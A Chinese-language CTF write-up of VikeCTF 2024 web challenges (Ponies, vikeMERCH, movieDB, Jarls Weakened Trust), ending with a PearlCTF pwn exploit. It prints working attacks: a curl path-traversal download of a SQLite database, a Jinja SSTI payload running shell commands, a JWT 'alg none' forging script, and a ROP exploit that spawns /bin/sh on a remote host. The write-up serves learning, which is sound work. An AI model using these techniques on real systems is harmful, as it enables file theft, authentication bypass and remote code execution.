VikeCTF 2024 WP
由于环境原因很多靶场的过程图片没法复现截图。。。
web
Ponies
算是一个签到题,看到源码这里其实是一个快速跳转的程序,我们看到tag.src直接进行访问,可以看到源码里面,从里面分析拿到flag
function recursiveSpawn() {BrowserPonies.spawnRandom(incrementalPonies);if (!BrowserPonies.running()) {counter = counter + 1;document.getElementById("flag").innerHTML = "arriving shortly" + ".".repeat(counter % 4);setTimeout(recursiveSpawn, intervalMs);} else {setTimeout(() => {var tag = document.createElement("script");tag.src = "/gag.js";document.getElementsByTagName("head")[0].appendChild(tag);}, "7000");}
}
recursiveSpawn();
vikeMERCH
这道题目是go写的,并且看的出来考的是一个数据库泄露问题,但实际手法是疑似路径穿越。
整体是需要代码审计找到漏洞点,我一直没找到以为是search部分注入。
e.GET("/assets", func(c *gin.Context) {id := c.Query("id")path := filepath.Join("assets", filepath.Clean(id))c.File(path)
})
这里利用filepath.clean来进行路径穿越过滤,c.File来进行加载网页。
但这里filepath具有漏洞也可以进行穿越利用
看下例子
package mainimport ("fmt""path/filepath"
)func main() {// Returns: Path: ../db.sqlite3fmt.Printf("Path: %s\n", filepath.Clean("../db.sqlite3"))// Returns: Path: Path: /db.sqlite3fmt.Printf("Path: %s\n", filepath.Clean("/../db.sqlite3"))
}
go语言运行环境
可以看到第一种…/的写法可以造成文件读取
db := sqlx.MustOpen("sqlite3", "file:db.sqlite3")
这行代码告诉了我们db.sqlite3在当前相对路径下,所以我们就可以读取了
这里学到了新方法,用curl直接下载到本地,发现外国人很多都习惯于curl指令来获取,而不是国人大都直接访问来看。
curl 'http://35.94.129.106:3001/assets?id=../db.sqlite3' --path-as-is -o db.sqlite3
拿到文件可以看到里面包含了信息包括admin的密码,登陆即可
└─$ curl 'http://35.94.129.106:3001/admin' -d 'username=admin&password=a36dc27c2955d4d4ec31f351c49fc7ac63b7e98908077bd1a7f0cfce1875c03d'
vikeCTF{whY_w0ulD_g0_d0_th15}
movieDB
这个题目有两解,说难也不难就是有点暗戳戳的🗡,看半天以为是sql注入拿信息,没想到是细节题
方法一:
dirsearch扫目录发现有一个static目录,再还有robots.txt,发现了static/flag.tx文件,访问发现显示是no
这里普及一个知识点,不加/是访问文件,加/是访问目录。
http://35.94.129.106:3003/static/ -> 404 未找到
http://35.94.129.106:3003/static -> 目录列表
这里就是要访问
http://35.94.129.106:3003/static/flag.txt/- >vikeCTF{y0u_tH0Gh7_iT_w4S_5QL_1Nj3c7i0n}
但我觉得这个有点莫名奇妙了
有人是这么解释的
在讨论了一番后发现其实是加了个waf,拿到源码
@app.route("/static/flag.txt")
def flag():return "no"
所以这应该是个非预期解,当然也像是出题人故意为之,因为完全可以避免。
方法二
常规方法应该是利用,当然这比赛的时候得靠自己猜测,因为是没有源码的
def home():try:search = request.args.get("search")if search is None:return render_template_string(index)
直接模板注入了
{{lipsum.__globals__.os.popen('cat static/flag.txt').read()}}
Jarls Weakened Trust
一个登入框
进去看到这么一句话
Someone with admin permissions will approve your application within the next millenium
如果英语可以你就知道他说的是拥有管理员权限的人将在下一个千年内批准您的申请,明显像是让我们来更改jwt来获取权限。
思路也是两种
方法一:
爆破,我用jwt从下午爆到晚上都没结果。。。我都忘记了
方法二:
更改签名从H256到none,这里推荐网站
https://token.dev/
但这里有个问题就是生成的签名因为是none,你只有一个点,你需要在尾部加一个.
不加是这样
加了后就可以看到了
这里原题是要把admin改成True就可以了
这里还有方便的python脚本
import requests
import string
import random
import jwt
import rerandom_string = lambda length: ''.join(random.choice(string.ascii_letters) for _ in range(length)) URL = 'http://35.94.129.106:3004/'resp = requests.post(URL+'join', data={'username': random_string(5), 'password': random_string(5)}, allow_redirects=False)
jwt_token = re.search(r'=(.*?);', resp.headers['Set-Cookie']).group(1)
print(jwt_token)jwt_token = jwt.decode(jwt_token, options={'verify_signature': False})
jwt_token['admin'] = True
print(jwt_token)jwt_token = jwt.encode(jwt_token, key='', algorithm=None)
print(jwt_token)resp = requests.get(URL, cookies=dict(AUTHORIZATION=jwt_token))
flag = re.findall('vikeCTF\{.*?\}', resp.text)
print(flag)
本文大多从
外国的大佬wp
主要以复现学习为主…本次文章仅用记录
[pearl pwn]
from pwn import *context.log_level = 'debug'
elf=ELF('./adventure')
# p = process('./adventure')
p = remote('dyn.ctf.pearlctf.in', 30014)
puts_got=elf.got['puts']
print(hex(puts_got))
bss = 0x404000hatchEgg = 0x401223
fflush_got = 0x404038pop_rdi = 0x000000000040121e
pop_rsi_r15 = 0x0000000000401871
ret = 0x000000000040101ap.sendlineafter(b'choice: ',b'2')
p.sendlineafter(b'2. No',b'1')pay = b'a'*0x20 + p64(bss+0x720)
pay += p64(pop_rdi) + p64(puts_got)
pay += p64(0x401242) # call puts
p.sendlineafter(b'name',pay)p.recvuntil(b'with ')
p.recvline()
libc = u64(p.recv().ljust(8,b'\x00')) -0x080ed0
print(hex(libc))
system = libc + 0x050d60pay = b'a'*0x11 + b'/bin/sh\x00' + b'a'*0x8 + p64(bss+0x720) # getchar()
pay += p64(pop_rdi) + p64(bss+0x710)
pay += p64(ret)
pay += p64(system)
p.sendline(pay) # bss writep.interactive()
总结:
之前一直觉得外国赛看wp很麻烦,虽然题目很好但看不了wp就觉得有点无效,所以就不怎么打,最近没什么国内比赛又想进阶一下,发现外国赛频率很高,很多比赛都质量不错,discard上的老外也很热情,顺便磨练一手英语交流,爽了。。。